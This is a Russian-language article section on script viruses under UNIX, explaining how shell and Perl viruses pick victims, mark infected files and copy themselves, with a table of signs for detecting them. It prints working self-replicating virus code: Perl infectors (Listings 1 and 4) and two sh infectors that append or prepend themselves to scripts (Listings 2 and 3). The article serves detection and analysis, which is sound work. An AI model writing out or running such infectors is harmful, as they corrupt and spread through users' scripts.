Вирусы в UNIX, или Гибель Титаника II

     

Вирусы в скриптах


Как уже отмечалось выше, скрипты выглядят достаточно привлекательной средой для обитания вирусов и вот почему:

q       в мире UNIX скрипты вездесущи;

q       модификация большинства файлов скриптов разрешена;

q       скрипты зачастую состоят из сотен строк кода, в которых очень легко затеряться;

q       скрипты наиболее абстрагированы от особенностей реализации конкретного UNIX'а;

q       возможности скриптов сопоставимы с языками высокого уровня (Си, Бейсик, Паскаль);

q       скрпитами пользователи обмениваются более интенсивно, чем исполняемыми файлами;

Большинство администраторов крайне пренебрежительно относятся к скриптовым вирусам, считая их "ненастоящими". Между тем, системе по большому счету все равно каким именно вирусом быть атакованной – настоящим или нет. При кажущийся игрушечности, скрипт-вирусы представляют собой достаточно серьезную угрозу. Ареал их обитания практически безграничен – они успешно поражают как компьютеры с процессорами Intel Pentium, так и DEC Alpha/SUN SPARС. Они внедряются в любое возможное место (конец/начало/середину) заражаемого файла. При желании они могут оставаться резидентно в памяти, поражая файлы в фоновом режиме. Ряд скрипт-вирусов используют те или иные Stealth-технологии, скрывая факт своего присутствия в системе. Гений инженерной мысли вирусописателей уже освоил полиморфизм, уравняв тем самым скрипт-вирусы в правах с вирусами, поражающими двоичные файлы.

Каждый скрпит, полученный извне, перед установкой в систему должен быть тщательным образом проанализирован на предмет присутствия заразы. Ситуация усугубляется тем, что скрипты, в отличие от двоичных файлов, представляют собой plain-текст, начисто лишенный внутренней структуры, а потому при его заражении никаких характерных изменений не происходит. Единственное, что вирус не может подделать – это стиль оформления листинга. Почерк каждого программиста строго индивидуален. Одни используют табуляцию, другие – предпочитают выравнивать строки посредством пробелов. Одни разворачивают конструкции if – else на весь экран, другие – умещают их в одну строку. Одни дают всем переменным осмысленные имена, другие – используют одно-двух символьную абракадабру в стиле "A", "X", "FN" и т. д. Даже беглый просмотр зараженного файла позволяет обнаружить инородные вставки (конечно, при том условии, что вирус не переформатирует поражаемый объект).


#!/usr/bin/perl #PerlDemo

open(File,$0); @Virus=<File>; @Virus=@Virus[0...6]; close(File);

foreach $FileName (<*>) { if ((-r $FileName) && (-w $FileName) && (-f $FileName)) {



open(File, "$FileName"); @Temp=<File>; close(File); if ((@Temp[1] =~ "PerlDemo") or (@Temp[2] =~ "PerlDemo"))

{ if ((@Temp[0] =~ "perl") or (@Temp[1] =~ "perl")) { open(File, ">$FileName"); print File @Virus;

print File @Temp; close (File); } } } }

Листинг 1  пример вируса, обнаруживающего себя по стилю

Дальше. Грамотно спроектированный вирус поражает только файлы "своего" типа, в противном случае он быстро приведет систему к краху, демаскируя себя и парализуя дальнейшее распространение. Поскольку в мире UNIX файлам не принято давать расширения, задача поиска подходящих жертв существенно осложняется, и вирусу приходится явно перебирать все файлы один за одним, определяя их тип вручную.

Существует по меньшей мере две методики такого определения: отождествление командного интерпретатора и эвристический анализ. Начнем с первого из них. Если в начале файла стоит магическая последовательность "#!", то остаток строки содержит путь к программе, обрабатывающей данный скрипт. Для интерпретатора Борна эта строка обычно имеет вид "#!/bin/sh", а для Perl'a – "#!/usr/bin/perl". Таким образом, задача определения типа файла в общем случае сводится к чтению его первой строки и сравнению ее с одним или несколькими эталонами. Если только вирус не использовал хеш-сравнение, эталонные строки будут явно присутствовать в зараженном файле, легко обнаруживая себя тривиальным контекстным поиском (см. листинги 2, 3).

Девять из десяти скрипт-вирусов ловятся на этот незамысловатый прием, остальные же тщательно скрывают эталонные строки от посторонних глаз (например шифруют их или же используют посимвольное сравнение). Однако, по любому, перед сравнением строки с эталоном вирус должен ее считать. В командных файлах для этой цели обычно используются команды greep



или head. Конечно, их наличие в файле еще не свидетельствует о зараженности последнего, однако позволяет локализовать жизненно-важные центры вируса, ответственные за определения типа файла, что значительно ускоряет его анализ. В Perl-скриптах чтение файла чаще всего осуществляется через оператор "< >", реже используются функции read/readline/getc. Тот факт, что практически ни одна мало-мальски серьезная Perl-программа не обходится без файлового ввода/вывода, чрезвычайно затрудняет выявление вирусного кода, особенно если чтение файла происходит в одной ветке программы, а определение его типа – совсем в другой. Это затрудняет автоматизированный анализ, но еще не делает его невозможным!

Эвристические алгоритмы поиска жертвы состоят в выделении уникальных последовательностей, присущих файлам данного типа и не встречающихся ни в каких других. Так, наличие последовательности "if [" с вероятностью близкой к единице указывает на командный скрипт. Некоторые вирусы отождествляют командные файлы по строке "Bourne", которая присутствует в некоторых, хотя и далеко не всех скриптах. Естественно, никаких универсальных приемом распознавания эвристических алгоритмов не существует (на то они и эвристические алгоритмы).

Во избежание многократного инфицирования файла-носителя, вирусы должны уметь распознавать факт своего присутствия в нем. Наиболее очевидный (и популярный!) алгоритм сводится к внедрению специальной ключевой метки (вроде "это я – Вася"), представляющей собой уникальную последовательность команд, так сказать, сигнатуру вируса или же просто замысловатый комментарий. Строго говоря, гарантированная уникальность вирусам совершенно не нужна. Достаточно, чтобы ключевая метка отсутствовала более чем в половине неинфицированных файлов. Поиск ключевой метки может осуществляться как командами find/greep, так и построченным чтением из файла с последующим сличением добытых строк с эталоном. Скрипты командных интерпретаторов используют для этой цели команды head и tail, применяемые совместно с оператором "=", ну а Perl-вирусы все больше тяготеют к регулярным выражениям, что существенно затрудняет их выявление, т. к. без регулярных выражений не обходится практически ни одна Perl-программа.



Другой возможной зацепкой является переменная "$0", используемая вирусами для определения собственного имени. Не секрет, что интерпретируемые языки программирования не имеют никакого представления о том, каким именно образом скрипты размещаются в памяти, и при всем желании не могут "дотянуться" до них. А раз так, то единственным способом репродуцирования своего тела остается чтение исходного файла, имя которого передается в нулевом аргументе командной строки. Это достаточно характерный признак заражения исследуемого файла, ибо существует очень немного причин, по которым программа может интересоваться своим названием и путем.

Впрочем, существует (по крайней мере теоретически) и альтернативный способ размножения. Он работает по тем же принципам, что и программа, распечатывающая сама себя (в былое время без этой задачки не обходилась ни одна олимпиада по информатике). Решение сводится к формированию переменной, содержащей программный код вируса, с последующим внедрением оного в заражаемый файл. В простейшем случае для этого используется конструкция "<<", позволяющая скрыть факт внедрения программного кода в текстовую переменную (и это выгодно отличает Perl от Си). Построченная генерация кода в стиле "@Virus[0]= "\#\!\/usr\/bin\/perl"" встречается реже, т. к. слишком громоздко, непрактично и к тому же наглядно (в смысле даже при беглом просмотре листинга выдает вирус с головой).

Зашифрованные вирусы распознаются еще проще. Наиболее примитивные экземпляры содержат большое количество "шумящих" двоичных последовательностей типа "\x73\xFF\x33\x69\x02\x11…", чьим флагманом является спецификатор "\x", за которым следует ASCII-код зашифрованного символа. Более совершенные вирусы используют те или иные разновидности UUE-кодирования, благодаря чему все зашифрованные строки выглядят вполне читабельно, хотя и представляют собой бессмысленную абракадабру вроде "UsKL[aS4iJk". Учитывая, что среднеминимальная длина Perl-вирусов составляет порядка 500 байт, затеряться в теле жертвы им легко.



Теперь рассмотрим пути внедрения вируса в файл. Файлы командного интерпретатора и программы, написанные на языке Perl, представляют собой неиерархическую последовательность команд, при необходимости включающую в себя определения функций. Здесь нет ничего, хотя бы отдаленно похожего на функцию main языка Си или блок BEGIN/END языка Паскаль. Вирусный код, тупо дописанный в конец файла, с вероятностью 90% успешно получит управление и будет корректно работать. Оставшиеся 10% приходятся на случаи преждевременного выхода из программы по exit или ее принудительного завершения по <Ctrl?C>. Для копирования своего тела из конца одного файла в конец другого вирусы обычно используют команду "tail", вызывая ее приблизительно так:

#!/bin/sh

echo "Hello, World!"

for F in *

do

  if ["$(head -c9 $F 2>/dev/null)"="#!/bin/sh" -a "$(tail -1 $F 2>/dev/null)"!="#:-P"]

  then

       tail -8 $0 >> $F 2>/dev/null

  fi

done

#:-P

Листинг 2 фрагмент вируса UNIX.Tail.a, дописывающего себя в конец файла (оригинальные строки файла-жертвы выделены серым)

Другие вирусы внедряются в начало файла, перехватывая все управление на себя. Некоторые из них содержат забавную ошибку, приводящую к дублированию строки "!#/bin/xxx", первая из которых принадлежит вирусу, а вторая – самой зараженной программе. Наличие двух магических последовательностей "!#" в анализируемом файле красноречиво свидетельствует о его заражении, однако подавляющее большинство вирусов обрабатывает эту ситуацию вполне корректно, копируя свое тело не с первой, а со второй строки. Типичный пример такого вируса приведен ниже:

#!/bin/sh

for F in *

do

       if [ "$(head -c9 $F 2>/dev/null)" = "#!/bin/sh" ] then

              head -11 $0 > tmp

              cat $F >> tmp

              mv tmp $F

       fi

done

echo "Hello, World!"

Листинг 3 фрагмент вируса UNIX.Head.b, внедряющегося в начало файла (оригинальные строки файла-жертвы выделены серым)



Некоторые, весьма немногочисленные вирусы внедряются в середину файла, иногда перемешиваясь с его оригинальным содержимым. Естественно, для того, чтобы процесс репродуцирования не прекратился, вирус должен каким-либо образом помечать "свои" строки (например снабжать их комментарием "#MY LINE") либо же внедряться в фиксированные строки (например начиная с тринадцатой строки, каждая нечетная строка файла содержит тело вируса). Первый алгоритм слишком нагляден, второй – слишком нежизнеспособен (часть вируса может попасть в одну функцию, а часть – совсем в другую), поэтому останавливаться на этих вирусах мы не будем.

Таким образом, наиболее вирусоопасными являются начало и конец всякого файла. Их следует изучать с особой тщательностью, не забывая о том, что вирус может содержать некоторое количество "отвлекающих" команд, имитирующих ту или иную работу.

Встречаются и вирусы-спутники, вообще не "дотрагивающиеся" до оригинальных файлов, но во множестве создающие их "двойников" в остальных каталогах. Поклонники чистой командной строки, просматривающие содержимое директорий через ls могут этого и не заметить, т. к. команда ls

вполне может иметь "двойника", предусмотрительно убирающего свое имя из списка отображаемых файлов.

Не стоит забывать и о том, что создателям вирусов не чуждо элементарное чувство беспечности, и откровенные наименования процедур и/или переменных в стиле "Infected", "Virus", "ZARAZA" – отнюдь не редкость.

Иногда вирусам (особенно полиморфным и зашифрованным) требуется поместить часть программного кода во временный файл, полностью или частично передав ему бразды правления. Тогда в теле скрипта появляется команда "chmod +x", присваивающая файлу атрибут исполняемого. Впрочем, не стоит ожидать, что автор вируса окажется столь ленив и наивен, что не предпримет никаких усилий для сокрытия своих намерений. Скорее всего нам встретится что-то вроде: "chmod $attr $FileName".



признак

комментарий

#!/bin/sh

"\#\!\/usr\/bin\/perl"

если расположена в не первой строке файла, скрипт скорее всего заражен, особенно если последовательность "#!" находится внутри оператора if?then или же передается командам greep и/или find;

greep

используются для определения типа файла-жертвы и поиска отметки о зараженности (дабы ненароком не заразить повторно); к сожалению, достаточным признаком наличия вируса служить не может, ибо часто используется в "честных" программах;

find

$0

характерный признак саморазмножающейся программы (а зачем еще честному скрипту знать свой полный путь?);

head

используется для определения типа файла-жертвы и извлечения своего тела из файла-носителя из начала скрипта;

tail

используется для извлечения своего тела из конца файла-носителя;

chmod

+x

если применяется к динамически создаваемому файлу, с высокой степень вероятности свидетельствует о наличии вируса (причем ключ +x может быть так или иначе замаскирован);

<< 

если служит для занесения в переменную программного кода, является характерным признаком вируса (и полиморфного в том числе)

"\xAA\xBB\xCC…"

характерный признак зашифрованного вируса

"Aj#9KlRzS"

vir, virus, virii, infect…

характерный признак вируса, хотя может быть и просто шуткой

Таблица 1 сводная таблица наиболее характерных признаков наличия вируса с краткими комментариями (подробности по тексту)

#!/usr/bin/perl

#PerlDemo

open(File,$0);

@Virus=<File>;

@Virus=@Virus[0...27];

close(File);

foreach $FileName (<*>)

{

       if ((-r $FileName) && (-w $FileName) && (-f $FileName))

       {

              open(File, "$FileName");

              @Temp=<File>;

              close(File);

              if ((@Temp[1] =~ "PerlDemo") or (@Temp[2] =~ "PerlDemo"))

              {

                     if ((@Temp[0] =~ "perl") or (@Temp[1] =~ "perl"))

                     {

                           open(File, ">$FileName");

                           print File @Virus;

                           print File @Temp;

                           close (File);

                     }

              }

       }

}

Листинг 4 фрагмент Perl-вируса UNIX.Demo


Содержание раздела